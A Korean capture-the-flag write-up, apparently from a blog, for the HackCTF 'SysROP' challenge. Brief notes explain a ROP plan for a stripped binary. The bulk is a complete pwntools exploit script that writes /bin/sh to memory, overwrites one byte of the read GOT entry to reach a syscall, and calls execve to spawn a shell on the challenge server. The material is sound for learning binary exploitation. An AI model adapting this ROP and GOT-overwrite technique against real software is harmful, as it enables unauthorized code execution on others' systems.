SysROP 본문
stripped가 되어있다.
디버깅이 불가능하다.
system함수와 /bin/sh을 찾을 수 없다.
read함수 내에 있는 syscall을 이용하도록 한다.
rax에 59를 넣고 syscall을 하면 execve()가 실행이 된다. 이것을 이용한다.
가젯을 모은다.
/bin/sh을 입력할 공간을 찾는다.
bss영역은 이미 사용중이다.
넉넉하게 0x601080에 입력하도록 한다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3024)
context.log_level = "Debug"
elf = ELF("./sysrop")
main = 0x4005f2
data = 0x601080
ppppr = 0x4005ea #rax rdx rdi rsi ret
pppr = 0x4005eb #rdx rdi rsi ret
binsh = "/bin/sh\x00"
payload = "A"*24
payload += p64(pppr)
payload += p64(0x8) # rdx
payload += p64(0x0) # rdi
payload += p64(data) # rsi
payload += p64(elf.plt['read'])
payload += p64(main)
p.sendline(payload)
time.sleep(0.1)
p.send(binsh)
payload2 = "A"*24
payload2 += p64(pppr)
payload2 += p64(0x1)
payload2 += p64(0x0)
payload2 += p64(elf.got['read'])
payload2 += p64(elf.plt['read'])
payload2 += p64(ppppr)
payload2 += p64(59)
payload2 += p64(0x0)
payload2 += p64(data)
payload2 += p64(0x0)
payload2 += p64(elf.plt['read'])
time.sleep(0.1)
p.sendline(payload2)
time.sleep(0.1)
p.sendline("\x5e")
p.interactive()
syscall주소와 read의 주소는 한 바이트만 다르기 때문에 \x5e만 보냈다.
'wargame > HackCTF' 카테고리의 다른 글
Register (0) | 2021.12.16 |
---|---|
RTC (0) | 2021.12.16 |
Unexploitable #1 (0) | 2021.12.16 |
You are silver (0) | 2021.12.16 |
ROP (0) | 2021.12.13 |
Comments